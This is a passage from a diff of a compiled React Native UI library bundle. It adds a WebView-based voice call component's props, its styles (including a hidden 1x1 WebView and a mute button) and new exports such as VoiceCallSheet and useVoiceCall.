+ onMessage: handleWebViewMessage,
2378
+ onError: (e) => console.log("[VoiceWebView] error:", e.nativeEvent?.description),
2379
+ injectedJavaScriptBeforeContentLoaded: injectedTrackHook,
2380
+ mediaPlaybackRequiresUserAction: false,
2381
+ allowsInlineMediaPlayback: true,
2382
+ mediaCapturePermissionGrantType: "grant",
2383
+ javaScriptEnabled: true,
2384
+ originWhitelist: ["*"]
2385
+ }
2386
+ ) })
2387
+ ]
2388
+ }
2389
+ );
2390
+ }
2391
+ var styles13 = import_react_native14.StyleSheet.create({
2392
+ transcript: {
2393
+ flex: 1,
2394
+ paddingHorizontal: 28
2395
+ },
2396
+ transcriptContent: {
2397
+ paddingTop: 8,
2398
+ paddingBottom: 16,
2399
+ gap: 14
2400
+ },
2401
+ entry: {
2402
+ flexDirection: "row",
2403
+ gap: 10,
2404
+ alignItems: "flex-start"
2405
+ },
2406
+ role: {
2407
+ fontSize: 10,
2408
+ fontFamily: fontFam6,
2409
+ fontWeight: "700",
2410
+ color: import_core17.ada.inkMuted,
2411
+ letterSpacing: 1.4,
2412
+ minWidth: 32,
2413
+ paddingTop: 3,
2414
+ opacity: 0.55
2415
+ },
2416
+ entryText: {
2417
+ flex: 1,
2418
+ fontSize: 14,
2419
+ fontFamily: fontFam6,
2420
+ fontWeight: "400",
2421
+ color: import_core17.ada.inkSoft,
2422
+ lineHeight: 20,
2423
+ letterSpacing: -0.1,
2424
+ opacity: 0.42
2425
+ },
2426
+ entryTextLive: {
2427
+ flex: 1,
2428
+ fontSize: 14,
2429
+ fontFamily: fontFam6,
2430
+ fontWeight: "400",
2431
+ color: import_core17.ada.inkSoft,
2432
+ lineHeight: 20,
2433
+ letterSpacing: -0.1,
2434
+ opacity: 0.7
2435
+ },
2436
+ important: {
2437
+ fontSize: 17,
2438
+ fontFamily: fontFam6,
2439
+ fontWeight: "700",
2440
+ color: import_core17.ada.ink,
2441
+ letterSpacing: -0.1,
2442
+ opacity: 1
2443
+ },
2444
+ errorBox: {
2445
+ backgroundColor: "rgba(239,68,68,0.12)",
2446
+ borderColor: "rgba(239,68,68,0.45)",
2447
+ borderWidth: 1,
2448
+ borderRadius: 10,
2449
+ paddingVertical: 10,
2450
+ paddingHorizontal: 14,
2451
+ marginBottom: 12
2452
+ },
2453
+ errorText: {
2454
+ fontSize: 13,
2455
+ fontFamily: fontFam6,
2456
+ fontWeight: "500",
2457
+ color: "#fca5a5",
2458
+ lineHeight: 18
2459
+ },
2460
+ muteWrap: {
2461
+ position: "absolute",
2462
+ bottom: import_react_native14.Platform.OS === "ios" ? 56 : 40,
2463
+ left: 28,
2464
+ alignItems: "center",
2465
+ gap: 6
2466
+ },
2467
+ muteBtn: {
2468
+ width: 56,
2469
+ height: 56,
2470
+ borderRadius: 28,
2471
+ backgroundColor: import_core17.ada.paperSoft,
2472
+ borderWidth: 1,
2473
+ borderColor: import_core17.ada.border,
2474
+ justifyContent: "center",
2475
+ alignItems: "center"
2476
+ },
2477
+ muteBtnActive: {
2478
+ backgroundColor: "#C15545",
2479
+ borderColor: "#C15545"
2480
+ },
2481
+ muteLabel: {
2482
+ fontSize: 12,
2483
+ fontFamily: fontFam6,
2484
+ fontWeight: "500",
2485
+ color: import_core17.ada.inkMuted,
2486
+ letterSpacing: 0.3
2487
+ },
2488
+ hiddenWebView: {
2489
+ position: "absolute",
2490
+ width: 1,
2491
+ height: 1,
2492
+ top: -100,
2493
+ left: -100,
2494
+ opacity: 0
2495
+ }
2496
+ });
1849
2497
  // Annotate the CommonJS export names for ESM import in node:
1850
2498
  0 && (module.exports = {
1851
2499
  AdasChatScreen,
@@ -1858,13 +2506,20 @@ var styles11 = import_react_native12.StyleSheet.create({
1858
2506
  Plugin,
1859
2507
  PluginSurface,
1860
2508
  TableCardBlock,
2509
+ TenantPicker,
1861
2510
  TypingIndicator,
1862
2511
  UIActionsRow,
2512
+ VoiceCallSheet,
2513
+ WidgetHost,
1863
2514
  WidgetWebView,
1864
2515
  buildPluginBridgeJS,
2516
+ openWidget,
1865
2517
  setClipboardProvider,
2518
+ setPluginWebViewExtraHosts,
1866
2519
  setUIActionNavigator,
1867
2520
  useLightboxStore,
1868
- usePluginBridge
2521
+ usePluginBridge,
2522
+ useVoiceCall,
2523
+ useWidgetHostStore
1869
2524
  });
1870
2525
  //# sourceMappingURL=index.js.map